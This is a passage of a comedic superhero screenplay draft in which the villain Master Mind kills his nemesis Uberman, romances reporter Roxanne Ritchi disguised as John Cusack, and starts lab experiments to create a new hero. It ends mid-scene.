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rprokap / Pset 9CREDITS SEQUENCE NEWSPAPER HEADLINE MONTAGE: HEADLINES flash before us, displaying their accompanying photographs. "UBERMAN - METRO CITY'S HERO AFTER DEFEATING MASTER MIND! PHOTO: A chiseled, statuesque man wearing the COOLEST SUPER HERO SUIT IMAGINABLE, COMPLETE WITH FLOWING CAPE, shines a confident smile at the lens. This is UBERMAN, champion of METRO CITY. "UBERMAN DEFEATS MASTER MIND'S GIANT ROBOT!" PHOTO: Wide-shot of Uberman in mid-flight lifting the GIANT ROBOT in the sky above the city buildings. "MASTER MIND ALL WET AFTER UBERMAN FOILS AQUARIUM HEIST!" PHOTO: Uberman stands knee-deep in water. He has his enemy by the collar. The villain blocks his face from the shot with a METALLIC GAUNTLET. The images start to flash by even quicker, each showing the MYSTERIOUS VILLAIN in various stages of humiliation. In each photograph he successfully blocks his face with his armored glove. We ZOOM IN to the last headline. "MASTER MIND BEHIND BARS ONCE AGAIN - THANKS TO UBERMAN!" PHOTO: Uberman stands in a gallant pose with his fists on his hips, obviously trying to accentuate the "U" insignia on his chest. END OF CREDITS SEQUENCE EXT. BUILDING - DAY We DISSOLVE from the photograph to Uberman standing in the exact same position. WE PULL BACK showing him atop a BUILDING overlooking the city below. A perfect view for our guardian hero. He watches the thriving metropolis, bristling with life as people happily go about their day. Yet, we can't help but detect a hint of sadness in Uberman's expression. 2. UBERMAN You look so peaceful from up here. His serenity is suddenly interrupted by a loud BEEPING SOUND coming from his wrist. He looks down at a BRACELET (a manly one) on his right arm. It's a silver band with a FLASHING red letter "U". UBERMAN (CONT'D) Looks like Roxanne's in trouble again. Uberman leaps off the building and into the air. His cape gracefully flows in the breeze behind him as he shoots off into the distance like a speeding bullet. EXT. OBSERVATORY HIDEOUT - ESTABLISHING SHOT Grime and moss decorate the outside of this long abandoned building overlooking the COAST. Once a place of knowledge and wonder - now home to a great evil. INT. OBSERVATORY HIDEOUT - DAY The inside is in complete contrast to the exterior. The huge hall with a GIANT TELESCOPE teems with advanced ELECTRONIC EQUIPMENT. Computers, monitors and machines which do not have an obvious function FLASH and HUM. A STEEL DOOR slides open, revealing the subject of our story MASTER MIND - a villainous sight to behold. His FACE IS INEXPLICABLY LIGHT BLUE, topped by an OVERSIZED, MUSHROOM- SHAPED HEAD with a CIRCULAR PATCH OF WHITE HAIR ON TOP. He's dressed in the kind of costume only a super villain could pull off: a PURPLE JUMPSUIT AND BLACK BOOT ENSEMBLE WITH A GIANT GREEN "M" ON THE CHEST. His right hand, hanging at his side, is a METAL GAUNTLET WITH THREE SHORT SPIKES PROTRUDING BETWEEN HIS KNUCKLES. Master Mind begins to survey the room with his TWO PERMANENTLY ARCHED EYEBROWS. A man dressed as ALBERT EINSTEIN is busy ranting to two other men. One, a hulking brute, is dressed as LEONARDO DA VINCI. The other, a small intellectual-type carrying a clip-board, is dressed as the philosopher PLATO. EINSTEIN I hate the outfits. I mean, I get it: we're all supposed to be "masterminds" - very clever. (MORE) 3. EINSTEIN(cont'd) I just feel stupid. I mean, what the hell did Einstein really do anyway? PLATO Theory of relativity. Einstein starts feverishly scratching his side. EINSTEIN Well, you'd think he'd invent a wool sweater that didn't itch so much. Da Vinci and Plato's eyes suddenly grow with concern as they see Master Mind walk up behind Einstein. Einstein notices his colleague's staring over his right shoulder and turns around. He turns around and Master Mind SEIZES HIM BY HIS THROAT with his metal gauntlet. MASTER MIND The real Einstein once said, "God does not play dice with the world." He was right, because the world is MY dice. Is that understood? DA VINCI & PLATO Sir! Yes, sir! EINSTEIN (gasping for air) Yes, sir. Master Mind undoes his grip on Einstein's throat. MASTER MIND Alright, then - clean slate. Do we have the girl? DA VINCI Yes, sir. She fell into our trap just like you knew she would. MASTER MIND Reporters are a curious lot, and easily manipulated. He quickly checks his physique in a GIANT MIRROR, adjusts his posture and sucks in his gut. 4. MASTER MIND Alright, let's not keep the lady waiting. MOMENTS LATER Da Vinci escorts a BLINDFOLDED and bound woman, ROXANNE RITCHI, to the back of the room where Plato and Einstein are standing guard over a large BLACK SWIVEL-CHAIR facing away from us. She pulls free of Da Vinci's grasp and waits for him to undo the blindfold. Her face uncovered, we finally see Roxanne's striking features - all of which seem overshadowed by piercing eyes that seem more put off by the situation than afraid of it. MASTER MIND (O.S.) Miss Ritchi, we meet again. The chair turns menacingly slow, finally revealing Master Mind. ROXANNE You didn't need to turn around like that. I can recognize the stench of failure. Master Mind unleashes a wicked laugh. MASTER MIND I trust you gentlemen know the very sassy Roxanne Ritchi, highly regarded investigative journalist who some say has a more than friendly relationship with our super powered foe Uberman. And Miss Ritchi, I trust you've already met my new crew: The Mad Geniuses! Roxanne gives Einstein a once over. ROXANNE Looks like a real group of winners. At the risk of sounding cliche', you'll never get away with this. MASTER MIND In a way, I already have. Roxanne unleashes an exhausted SIGH. 5. ROXANNE We go through this every time. You kidnap me to get to Uberman, he immediately finds your hideout, escapes whatever lame trap you've come up with, and takes you and your cronies to jail. I propose we just save everybody some heartache this time by YOU letting me go, and ME forgetting this whole thing ever happened? MASTER MIND What about my revenge? ROXANNE We can say it was wasting everyone's time. MASTER MIND You have a wicked tongue. I hope you rid yourself of that when you're my queen. Roxanne unleashes a snort-filled laugh. ROXANNE I'm sorry. What makes you think I would want to be your queen? MASTER MIND Power corrupts absolutely, Miss Ritchi. And when I have ultimate power over this city, I have absolutely every intention of corrupting you with it. PLATO Sir! Master Mind turns to Plato who's now standing at a computer terminal. MASTER MIND (annoyed) What is it!? EXT. OBSERVATORY HIDEOUT - DAY Uberman flies toward the Observatory like a rocket. 6. INT. OBSERVATORY HIDEOUT - DAY Uberman crashes through the wall to the room we were just in. He looks around, but there's suddenly NOT A SOUL IN SIGHT. CUT TO: EXT. MASTER MIND'S HYDROFOIL - DAY The boat is shooting through the ocean, away from the observatory. INT. HYDROFOIL CONTROL ROOM - DAY Machines, cables and terminals criss-cross the craft's main bridge. Through the enormous surrounding windows we can see the observatory shrinking in the distance. Master Mind watches Uberman on a small TV monitor as the hero intently searches his hideout. UBERMAN (on monitor) Master Mind! INT. OBSERVATORY HIDEOUT - DAY Uberman throws up his arms in frustration when suddenly - MASTER MIND (O.S.) Over here, old friend. He turns to see a FAMILIAR BLUE FACE OF EVIL ON A GIANT SCREEN. UBERMAN What's the matter, miss your old jail cell? Uberman starts walking toward the monitor. MASTER MIND (ON MONITOR) Actually, I wanted to share the experience with my oldest friend. A MECHANIZED CAGE shoots out of the floor, suddenly trapping Metro City's protector. Totally unfazed, our hero stares on. 7. UBERMAN You can't possibly believe this will work. Master Mind pulls out a SMALL BLACK BOX with a SINGLE RED BUTTON on it. MASTER MIND (ON MONITOR) Oh, can't I? I have attained control of the Earth's most abundant energy source. I doubt even you are strong enough to withstand the FULL CONCENTRATED POWER OF THE SUN!!! He presses the button. EXT. OUTER SPACE A sinister-looking SATELLITE orbits Earth's atmosphere. Its bay doors suddenly open, deploying two huge SOLAR PANELS. The panels shift, angling themselves in the direction of the sun. They immediately start GLOWING as they absorb the burning star's power. The front of the satellite begins to make a loud HUMMING SOUND as it prepares to unleash its unholy power. INT. HYDROFOIL CONTROL ROOM - DAY From the giant window we can see the boat is a good mile from the observatory. PLATO We're now at minimum safe distance, master. Master Mind turns from the CAMERA he was broadcasting on and puts down the control box. MASTER MIND Excellent. Stop here, I like this view. PLATO Twenty seconds until impact. Master Mind turns to Roxanne who is being held by Da Vinci and Einstein. She almost appears a little bored. Disappointed by her lack of horror, he walks over to the monitor now showing Uberman trapped in the cage. 8. MASTER MIND Any last words? Uberman looks up at the screen with a cocky smile. UBERMAN (ON MONITOR) Yes: there's no caging the power of justice. PLATO Ten seconds to impact. On the screen we see Uberman take two of the cage's bars in his hands. He yanks...NOTHING. PLATO (CONT'D) Nine... Master Mind stares at the monitor, slightly confused. PLATO (CONT'D) Eight... Uberman yanks on the bars again, this time using his foot as leverage. MASTER MIND (genuinely concerned) What's going on? UBERMAN (straining) Hold...on...a second. Master Mind looks back at Plato and Einstein. They're equally befuddled at the hero's sudden weakness. PLATO Seven... Uberman loses his grip and FALLS BACKWARD ON HIS ASS. UBERMAN SON OF A BITCH!! Master Mind and the minions all cringe in unison. Da Vinci turns to Roxanne not believing his ears. DA VINCI What did he just say? 9. PLATO Six......Five... Master Mind begins to laugh. MASTER MIND What kind of trick is this? Uberman looks up at the camera with a very grave expression. UBERMAN Like you don't know. These bars are made of copper, aren't they? PLATO Four... MASTER MIND Yeah, so? Uberman tries to shield his grief with his hand. UBERMAN You figured out my weakness, damn you. I CAN'T BEND COPPER! PLATO Three... MASTER MIND Your weakness is copper? PLATO Two...one. Everyone turns to the window. EXT. OUTER SPACE The satellite fires a giant BEAM OF LIGHT toward the earth. EXT. OBSERVATORY HIDEOUT - DAY The beam hits the observatory. The building instantly EXPLODES in a white nova blast of fire. INT. HYDROFOIL CONTROL ROOM - DAY The blast is so bright everyone turns away from the window. Then, as suddenly as it began, the awesome light dies out. One by one, the passengers unshield their eyes and look out toward the observatory. 10. All we can see through the haze of destruction is fire and smoke. PLATO I don't think even he could have survived that. Einstein suddenly turns giddy with excitement. EINSTEIN Whoa! Is it me or did you just finally destroy Uberman? MASTER MIND (carefully skeptical) Well...let's not get ahead of ourselves. Da Vinci suddenly sees something outside. DA VINCI Look, there's something in the sky, coming this way. ROXANNE Uberman! Master Mind turns toward the window. An object is in the air, flying directly toward them. As it closes in we can just make out the FAMILIAR OUTLINE OF A CAPPED FIGURE. MASTER MIND I KNEW IT! PREPARE YOURSELVES! HE'S GONNA RAM US!!! Everyone scatters and braces themselves for the impact. Master Mind, seeing all the good places taken, doesn't know what to do with himself. He just covers his giant head with his hands. The figure CRASHES THROUGH THE WINDOW and lands at his feet. He looks down to see a CHARRED BLACK HUMAN SKELETON. Around its neck is the unmistakable black cape of Uberman. MASTER MIND (CONT'D) (horrified) HOLY SHIT! 11. Roxanne breaks out of Da Vinci's hold and runs over to the body. ROXANNE Uberman? She stares down at the still smoking corpse, the tattered black cape with the yellow "U" on it. Roxanne turns to Master Mind, who's still visibly dumbfounded at the grotesque sight before him. ROXANNE (CONT'D) You killed him! Roxanne's eyes roll back. Da Vinci catches her from behind as she FAINTS. Einstein turns to Master Mind, looking at him as if he's just walked on water. EINSTEIN You did it! Now that he's committed the impossible - our villain is at a complete loss. MASTER MIND ...so I did. EINSTEIN I mean, I know you always wanted to. I mean, all the schemes all the plots - I never thought you'd actually be capable of it. Giddy as a school girl, Einstein turns to his fellow henchmen. EINSTEIN This is history. Every villain and lackey in the history of villains and lackeys dream of this moment, but when does it actually EVER happen? A sudden realization comes over his face. EINSTEIN Good lord...You do all realize what we get to do now, don't you? 12. His question is met with acquisitive looks from Master Mind and the others. EINSTEIN We get to go on a crime wave. CRIME WAVE MONTAGE - SET TO "Fun Fun Fun" by The Beach Boys. SPINNING HEADLINE: "UBERMAN'S DEATH IGNITES CITY WIDE CRIME WAVE!" ARMORED TRUCK It's driving along when the men inside suddenly notice something - THEY'RE FLYING HIGH ABOVE THE CITY STREETS. We PULL BACK to see the truck being carried by a giant claw at the bottom of a BRAIN COPTER. Inside the cockpit Master Mind and his henchmen laugh maniacally. SPINNING HEADLINE: "CHAMPION-LESS CITY AT THE MERCY OF HOOLIGANS." METRO CITY BANK Da Vinci and Einstein run out the front of the bank holding BAGS OF MONEY. Two beat officers see them and take chase after them around the corner and into an alley. After a moment the police reemerge from the alley screaming and running for their lives as a GIANT ROBOT CHASES after them. The robot stops, then suddenly it's head opens up like convertible car top with Master Mind and Plato at the driver's wheel. They smile and shake hands at a bad deed well done. SPINNING HEADLINE: "MASTER MIND BLACKMAILS METRO!!!" A VICIOUS TORNADO It's heading for downtown Metro as Master Mind and the lackeys coolly look on. Three large DUMP TRUCKS pull up, filled to the brim with bricks of CASH. 13. The DRIVERS jump out as the lackeys take the driver seats in the three trucks. Master Mind is about to climb into the passenger seat of one when a drivers taps him on the shoulder and motions toward the tornado. MASTER MIND (absentmindedly) Oh, right. Master Mind pulls a television REMOTE from his pocket and aims it at approaching windstorm of death. He presses the button marked "Tornado Off." The tornado shrinks and disappears just before it hits the city. As they drive through the city streets, Master stares out the window with a hint of something in his eyes. Is it melancholy? END OF MONTAGE EXT. KINGPIN BOWLING - DAY It's Metro City's premier bowling alley. On top of the neon lit building is a GIANT 30 FOOT TALL CEMENT BOWLING BALL. INT. KINGPIN BOWLING - DAY HAL STEWART (early 30's) takes careful aim with his BOWLING BALL. HAL It's a sport of honor, focus and grace. Honor the ball, focus on the pins, release the ball not hard and fast, but as if you were releasing a baby dove. He takes a step, pulls back his arm, and releases the ball, following it with his eyes. It's a horrible shot - INSTANT GUTTER BALL. An aged barmaid type with a cigarette hanging from her mouth looks over at him. HAL Okay, do something like that - but center it more. 14. She picks up her custom made FOGHAT BALL and takes aim. ATTRACTIVE BLOND Tell me how my form looks, honey. Hal focuses on the misshapen bumps of her enormous Johnson administration era derriere. HAL Oh, it's lookin' good. It's lookin' REAL good. It doesn't get anymore clear. This man is a pig. VINNIE (O.S.) Hal, I want to see you in my office! Hal turns to see VINNIE, owner of the bowling alley, calling him. VINNIE Now! INT. KINGPIN BOWLING - VINNIE'S OFFICE - MOMENTS LATER Hal sits down, facing Vinnie who's sitting at his desk. VINNIE You're fired. Leave your shirt and locker key. This bit of news hits Hal like a freight train. HAL Fired? Are you going to tell me why? VINNIE Showing up to work late. Showing up to work late drunk. Sexually harassing customers. Stealing from the register. HAL Vinnie, I don't know where you're getting these accusations - Vinnie takes out a video tape from his desk drawer and puts in a VCR. 15. HAL Oh, which one do you supposedly have here? VINNIE This is all of them at once. TELEVISION A WOMAN walks up to a BOWLING EMPLOYEE and hands him a pair of shoes. As the employee turns to the wall of shoes, a very drunk and disheveled Hal comes running in and pushes him aside. HAL I've got this one, Benny. So, Cinderella. Can I help you find your glass slipper? WOMAN Yeah, I'm looking for a seven. He folds his arms on the counter and leans into her with a cat-like grin on his face. HAL (with a leer) Seven - Well, maybe I could interest you in something in an EIGHT. Namely, me. Disgusted, she walks off screen. HAL Lesbo. Suddenly realizing the register's open, he quickly grabs a stack of cash and shoves it in his pocket. BACK TO OFFICE Vinnie turns off the television and waits for Hal to respond. HAL From the angle of the camera, I can see where you might have gotten the wrong idea. Listen, Vinnie, I don't think you've thought this through. If you fire me, who's gonna be captain of the alley's bowling team? 16. VINNIE Um, I don't know. Maybe somebody who can actually bowl. You guys have never won a game. I hired you because you said you were on the pro circuit. HAL No, I said I WILL BE on the pro circuit. VINNIE Please, a loser like you will never amount to anything. This harsh remark seems to leave Hal genuinely stunned. HAL Wow...If that's how you feel...I guess we should then talk about what kind of severance I'm gonna get. EXT. KINGPIN BOWLING - DAY TWO BRUISERS open the door and throw Hal out onto the street. He quickly picks himself up and turns back toward the building. HAL Hey...what about my ball? A bowling ball sails past him, just missing his head. HAL Thank-you! EXT. CHANNEL 7 NEWS BUILDING - DAY The massive building with a giant 7 on the roof stands in the heart of Metro City. INT. CHANNEL 7 NEWS BUILDING - OFFICE - DAY The cubicles and offices are alive with the hustle and bustle of a busy news day. Phones are RINGING, REPORTERS are TALKING, and Editors are SHOUTING. The elevator doors open and out steps Roxanne Ritchi. 17. Everything stops as the entire office suddenly falls SILENT. Somewhat taken aback by the reaction, Roxanne scans the room to see every eye on her. ROXANNE It's...um...It's good to be back. Thanks for everyone's cards and concerns. I really appreciated it - now I'm ready to climb back on the horse. No one is budging - their looks of pity are really starting to make her uncomfortable. The back office door suddenly opens and out comes FRANK BONIN, the gruff, middle-aged Producer of Channel 7 News. Noticing the silence, he looks up and sees the sad expressions on everybody's face. FRANK Someone die or something? He suddenly notices Roxanne - both feet are placed firmly in his mouth. FRANK (cursing himself) Oh, Jesus. ROXANNE It's okay. Frank quickly walks up to Roxanne and takes her gently by the arm. FRANK Come on into my office, sweetie. INT. CHANNEL 7 NEWS BUILDING - FRANK'S OFFICE - CONTINUOUS He sits her down on his leather couch, then quickly turns toward his door. FRANK Can we get this woman some water for God's sake? (to Rebecca) I gave you two months off. What're you doing back? People are gonna think I'm a slave driver. 18. ROXANNE Aren't you? FRANK Yeah, but I don't want people to think it. ROXANNE Frank, listen. I want to go back to work. I NEED to go back to work. FRANK ...You're hysterical, aren't you? Frank sits down on the couch and blankets Roxanne with A WARM EMBRACE. ROXANNE What're you doing? FRANK Keeping you warm before you go into shock. (toward the open door) DO I HAVE SLICE OPEN A CAMEL HUMP TO GET A GLASS OF WATER AROUND HERE? A SECRETARY quickly enters with a bottled water. She sets it on the table in front of them and leaves. Roxanne pulls herself out of Frank's grasp and stands up to face him. ROXANNE It was a traumatic experience. Yes, everyone knows Uberman and me were...close. But what I really need - what would really make me better is getting back to work. There's a sudden awkward silence from Frank. FRANK Well, that's going to be... ROXANNE I thought you'd be happy to have me back. 19. FRANK Oh, we are. Honey, nothing makes us happier than to have our girl back, but... ROXANNE Yes? FRANK Things have sorta...changed. ROXANNE In three weeks? FRANK Listen, I'm not one who likes to open up wounds - especially ones that are just starting to scab, but you were sorta our go to girl for the exclusive on Uberman. And now that he's gone...I moved Brad into your anchor spot. ROXANNE (disgusted) Brad? Brad Helms? The man is an idiot. FRANK It's the suits. They think it's time to switch things up. ROXANNE Oh, because they can't use me to get the big story. FRANK C'mon, Roxie. Using is in the nature of what we do. They used you, you used Uberman. Everybody's happy. ROXANNE (defensive) I didn't use him. FRANK Oh, I didn't mean that. I know you two were in love or something. My bad. ROXANNE We were. 20. FRANK And that's great. ROXANNE Very in love. There's a hind of self-doubt in Roxanne's expression, as if she's failed to convince even herself of this. ROXANNE Okay. So, where are they going to move me if Brad has my spot? FRANK ...Human interest. ROXANNE Bake sales and pet stories. FRANK I told them I wouldn't be surprised if you just upped and quit. You busted your ass for that desk. Roxanne can hardly get it out - she's busy swallowing her pride ROXANNE I'll take it. Frank looks up at her, not believing what he's hearing. FRANK What? EXT. ABANDONED METRO CITY LIBRARY - NIGHT Amongst the jungle of high rises, one small building stands out from the rest - A tiny, forgotten piece of 19th century Gothic architecture. LIGHTENING FLASHES, revealing TWO CONCRETE GARGOYLES holding a cracked plaque, reading: METRO CITY LIBRARY. INT. ABANDONED METRO CITY LIBRARY - NIGHT A mixture of old and new. Dusty Victorian furniture and dilapidated bookshelves sit side by side with pristinely futuristic machinery. The building has been converted into Master Mind's new SECRET LAIR. 21. In the center of the main room is a three storey tall GLOWING BLUE ORB. At the base of it is a sign that reads "Reactor - Don't Touch." We PAN OVER to the READING ROOM where Master Mind is sitting on a couch watching TELEVISION. REPORTER ON TELEVISION (O.S.) It's been nearly six weeks, and still no word on the whereabouts of billionaire playboy, and philanthropist, Wayne Scott. Tune in at 11:00 as we look into what has become Metro City's biggest mystery. TELEVISION NARRATOR (O.S.) We now return to "The Hero of our Hearts: The Uberman story." Einstein and Plato come into the room holding a BAG OF LOOT. EINSTEIN Just robbed the diamond exchange. MASTER MIND (feigning pleasure) Great, great. Put it on the pile. Einstein tosses it on a LARGE PILE of purloined valuables in the corner of the room. EINSTEIN Anything else today? MASTER MIND No. Master Mind turns his attention back to the screen. Plato sees that Master Mind is in a funk and tries to snap him out of it. PLATO (cheerfully) Sir, the new reactor is installed. Plato nods to the giant orb. PLATO Do you want to throw the switch? I know how you love to start reactors. 22. MASTER MIND Maybe later. Einstein gives Master Mind a funny look then exchanges glances with Plato before leaving the two of them alone. Without turning away from the TV, Master Mind addresses Plato. MASTER MIND (CONT'D) What is it, Plato? PLATO (nervously) Sir, I can't help but notice that you've been...a little down lately. MASTER MIND When I want your opinion I'll beat it out of you. PLATO Yes, sir, I know, but please forgive my impertinence. It's just that you seem to have lost your lust for our profession. You've stopped going on jobs and spend most of your time watching Uberman specials. Master Mind relaxes slightly and turns to face the window in a classically contemplative pose. After an overdramatic beat... MASTER MIND I have defeated my greatest enemy. I have free reign over Metro City. I have more wealth than a thousand Sultans. I've achieved all I have worked for...so why am I so unhappy? He walks over to a PAINTED PORTRAIT that looks almost exactly like him, except slightly older, maybe meaner - MASTER MIND'S FATHER. MASTER MIND I mean, my father, god rest his evil and tormented soul, raised me straight from the test tube to be a symbol of evil. (MORE) 23. MASTER MIND(cont'd) And, I have accomplished something he had only dreamed about - the destruction of Metro City's champion. I tell you, I've always lived with this unquenchable thirst. I thought it was to make him proud or to get absolute power. But now that I've pretty much accomplished both, I am at a loss. PLATO ...I sort of have a theory about all that. MASTER MIND (snippy) Oh, really? PLATO Well, for one thing, maybe Uberman was more important to you than you thought. MASTER MIND He was a worthy rival. Sometimes I wonder, did he consider me his evil equal or was I just an annoying, little gnat to him? ...What's the second part? PLATO I think you sort of have a thing for Roxanne Ritchi. Master Mind quickly takes his lackey by the throat. MASTER MIND YOU WORM! HOW DARE YOU! WHERE WOULD YOU GET SUCH A NOTION? PLATO Sir, your plans always involve Ms. Ritchi either being kidnapped or placed in danger. If that's not love, I don't know what is. It's the grown up equivalent of dipping her pigtails in the ink well. Don't you see? She's the one treasure that's always escaped you. From Master Mind's expression, we see Plato's words beginning to ring true. 24. INT. RESTURAUNT - DAY Roxanne is having lunch with several girlfriends sitting around her, gabbing. FRIEND #1 I can't believe you came back so soon. FRIEND #2 Are you sure it's not TOO SOON, honey? ROXANNE I just wanted to get back to work. FRIEND #3 What we need to do is get you back on the saddle...the love saddle. Friend 1 and 2 give 3 disapproving looks. FRIEND #3 It's been three weeks. FRIEND #2 She just lost the love of her life, Grace. A WAITER comes by with a tray of CAESAR SALADS and begins setting them out for the ladies. ROXANNE I keep trying to tell people it wasn't really like that. Uberman and I - We were kinda having problems. We broke up. The waiter ALMOST DROPS HIS TRAY AT THIS. The women are too shocked by Roxanne's revelation to notice. FRIEND #1 You broke up with Uberman! FRIEND #3 You must have REALLY, REALLY high standards. I mean, you were dating a god. I mean, what's it take? ROXANNE Maybe someone who's a little more aware of his faults. Someone a little more sensitive. 25. FRIEND #3 Right. Someone who listens, sexy but attainable with cute little cheeks like a hamster and heartbreak in his eyes. She turns to Friend one and two to explain. FRIEND #3 She wants John Cusack. FRIEND #2 The actor? FRIEND #3 No, the famous pediatrist - Yes, the actor. Ever since we were teenagers, Roxanne's totally had the hots for him. ROXANNE Well, until he miraculously comes walking into my life, I'm just going to take a little reflection time for myself. The waiter gets a confused look on his face then slips away as Roxanne and her friends continue to chat away. EXT. RESTURAUNT - DAY The waiter tosses his apron in a trash can, then rolls up his sleeve and presses A STRANGE LOOKING DEVICE STRAPPED TO HIS WRIST. His image gets staticy, like a TV station going out, then disappears - revealing the man's true form underneath: MASTER MIND! MASTER MIND Who the hell is John Cusack? EXT. CITY STREET - DAY A YOUNG MOTHER pushes her baby stroller past a building construction site. ACROSS THE STREET A local POLITICIAN addresses a group of REPORTERS on the sidewalk, including Roxanne. 26. POLITICIAN The Fifth Avenue Renovation Project, which I championed, will breath new life into the downtown area. New life means new jobs and new revenue. ROXANNE Councilman, is it true that your brother-in-law's construction company won the contract for this project? POLITICIAN Well...er...yes, but...look I'm not here to answer a lot of crazy questions... YOUNG MOTHER The young mother stops halfway down the block, reaches into the stroller and tries to comfort her now crying baby. Above her, a CRANE is maneuvering a pile of STEEL GIRDERS to an upper floor. Hal comes around the corner and heads in her direction. CRANE The crane GRINDS TO A HALT. The OPERATOR has a confused look on his face as he moves levers back and forth in an effort to fix the problem. Hal stops a few feet from the woman and stoops down to tie his shoe. CRANE The operator's hand slips off the lever, hitting a RED BUTTON. To his horror the crane DROPS ITS LOAD OF STEEL. HAL AND THE WOMAN The woman looks up to see the girders seconds from crushing her and her baby. She screams. Hal looks up and sees it as well. He starts to run out of the way and crashes into the woman and stroller. ACROSS THE STREET 27. The reporters turns their cameras just in time to catch on film what appears to be Hal pushing the woman to safety just as the GIRDERS CRASH TO THE GROUND. HAL AND MOTHER Tears of joy in her eyes, the woman picks up her baby and kisses it. Hal struggles to catch his breath as the mother turns to him. YOUNG MOTHER Thank you! Thank you for saving me and my baby! She hugs him with her free arm, weeping with joy. HAL (not knowing what she's talking about) Huh? He's a little uncomfortable with the woman's public display of affection and the small child in-between their embrace. HAL (CONT'D) There, there. Hal slowly eases out of the woman's grip. HAL (CONT'D) Okay, we better...well, I hear these little guys smother easy. The reporters rush over and surround Hal and the mother. ROXANNE What's it feel like to be a hero? Hal looks up at Roxanne. Instantly, he's captivated by her beauty. HAL Well...I'm just a man doing what men do. You're Roxanne Ritchi, aren't you? They're suddenly interrupted when another reporter pushes his way in between them. REPORTER Were you scared? 28. HAL Scared? Who had time? The reporters eat this up. INT. ABANDONED METRO CITY LIBRARY - NIGHT TELEVISION John Cusack stands in the rain looking up at a window of a two story house. He holds up a BOOMBOX and "In Your Eyes" by Peter Gabriel begins to play. From the couch, Master Mind and his minions watch. MASTER MIND John Cusack, huh? So all I have to do is have a cute puppy dog stare, be willing to make a fool of myself and - Oh, REMOVE BOTH MY BALLS. He turns to see Da Vinci watching the movie and wiping a tear from his cheek. MASTER MIND Please, get a hold of yourself. INT. BOOKSTORE - NIGHT Roxanne is carrying a large paper coffee cup in her hands as she peruses the isles. She sets it down on a shelf to pull a book out and ends up KNOCKING THE DRINK OVER. ROXANNE Shit. She goes to pick it up when someone bends down and picks it up for her. Looking up to thank him, Roxanne is suddenly stunned speechless - It's popular and critically acclaimed actor JOHN CUSACK, or rather Master Mind disguised as him. "JOHN CUSACK" Oh the humanity - it was a Venti. ROXANNE (stunned) You're...you're. "JOHN CUSACK" Yes, it's me. John Cusack...the actor. 29. He notices the book she's reading. "JOHN CUSACK" Hey, is that Shelly? Wait, I think remember something from that one - Let's see: "My head is screaming `I want you and need you' - my heart it keeps reaching to see you and feel you - yet in the end, I'm alone once again." Wow, I scare even myself. I'm sorry. I'm just really into poetry. Probably because I'm so sensitive and always going to great lengths to express myself. But enough about me. Can I fill you up? ROXANNE (captivated) ...Yes. (catching herself) I mean, excuse me? "JOHN CUSACK" Can I fill you up? Your coffee. ROXANNE Right. INT. BOOKSTORE CAFE' - LATER Roxanne talks as John Cusack listens to her every word intently. ROXANNE I did have a boyfriend - until fairly recently. She suddenly begins to feel the stares around her as passers- by being to notice who she's with. ROXANNE I'm sorry - this is so surreal! "JOHN CUSACK" Yeah, they charge way too much at these places - Now back to your boyfriend. I'm interested and compassionate. I want to know about you. 30. ROXANNE Things were complicated. He was a man married to his work. There was...there was a lot of competition in his line of business. I'm sure you know what that's like. "JOHN CUSACK" Sure. In my business, one thing I have is RIVALS. For example, mine is...uh...Lou Ferr...igno. ROXANNE ...The body-builder who used to play The Hulk on TV? "JOHN CUSACK" Did he? Well, we're always up for the same roles. Did your boyfriend have someone like that? A particular rival that was always getting his goat - so to speak? ROXANNE Well...one rival in particular seemed to get more of his attention than I ever did. But enough about my problems. "JOHN CUSACK" NO, TELL ME MORE!!! Suddenly realizing his outburst, he begins COUGHING to mask it. "JOHN CUSACK" (CONT'D) I'm sorry. I got a whooping cough. Had it ever since Serendipity. I WONDER WHERE OUR REFILLS ARE!!! (fakes cough) See, there it goes again. Please, go on. ROXANNE Right, well, he seemed to need him more than he needed me. "JOHN CUSACK" How do you mean? 31. ROXANNE It was conflict he thrived on. He always said he wouldn't know what to do with himself if Master - I mean, this guy were gone. It was like he needed it, like oxygen. The answer to his mental funk hits him like a bolt of lightening. He turns away from her as if for private time. "JOHN CUSACK" (almost to himself) I think I finally understand...The only logical answer is to recreate that rivalry - or if that's impossible, create one of equal structure. That's it! ROXANNE What? John Cusack snaps out of his dream-like haze realizing she's heard every word. "JOHN CUSACK" Oh, sorry, sorry. Just rehearsing for a part...where I play a man who talks to himself at inappropriate times. In a sudden rush, he rises out of his chair. "JOHN CUSACK" I have to go right now, but I'd really like to see you again - if that's alright. Roxanne looks up at him - She can't help but laugh at the craziness of the situation. ROXANNE I'd love that. INT. ABANDONED METRO CITY LIBRARY - DAY Master storms in the office to find Plato and Einstein playing darts with the original Mona Lisa. EINSTEIN Got her nose! MASTER MIND I've got it! 32. Everyone stops what they're doing upon seeing that their master has returned. MASTER MIND I've got it! MASTER MIND It's plain and simple. Extraordinary minds need extraordinary stimulation. Without that stimulus they wither and die. Therefore, there is only one logical conclusion: I must create a new superhero. EINSTEIN Yeah, maybe that's not such hot idea... MASTER MIND (ignoring him) Prepare for Operation Superhero Genesis! INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The lab is slick, white and ultra modern. Dressed in a lab coat, Master Mind enters through a SLIDING GLASS DOOR rubbing his hands excitedly. MASTER MIND Prepare the subject. He glances down into a large HOLE in the floor to see a naked thirty year old man, SEVERS, shivering. Above the hole, a huge vat dangles precariously. Master Mind steps behind a glass partition next to Plato and Einstein. MASTER MIND (CONT'D) Plato, pour the toxic waste. Plato throws a switch causing the vat to tip hundreds of gallons of green and brown goo into the hole. MASTER MIND (CONT'D) Drainage. The slime is sucked out through the floor, leaving a goo- soaked Severs. 33. Master Mind looks into the pit. MASTER MIND (CONT'D) Well, Severs? SEVERS I feel fine. Just a little sticky, but aside from that everything's completely - BOOM - Severs explodes. A hail of blood and tissue covers Master Mind and his men. For a good ten seconds nobody moves an inch. Finally... MASTER MIND Okay then. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY Through a glass WATER TANK we see a man breathing normally. MASTER MIND And this one? PLATO We attached gills to him. He can breath under water. MASTER MIND Ah. Does he have extraordinary strength? PLATO Well...no. MASTER MIND Can he fly? PLATO No. MASTER MIND Resilient to weapons fire? PLATO No. MASTER MIND He just breathes under water, then. PLATO Ah...yeah. 34. Master Mind rolls his eyes and walks away. INT. ABANDONED METRO CITY LIBRARY - LABORATORY - DAY The next guinea-pig, STENWICK, is standing in a sealed glass tube not much wider than himself. MASTER MIND Plato, the radioactive spider, please. Plato throws the switch DROPPING A SINGLE SPIDER onto Stenwick's arm. Stenwick looks and winces as it bites him. STENWICK Ow! He brushes the spider off. MASTER 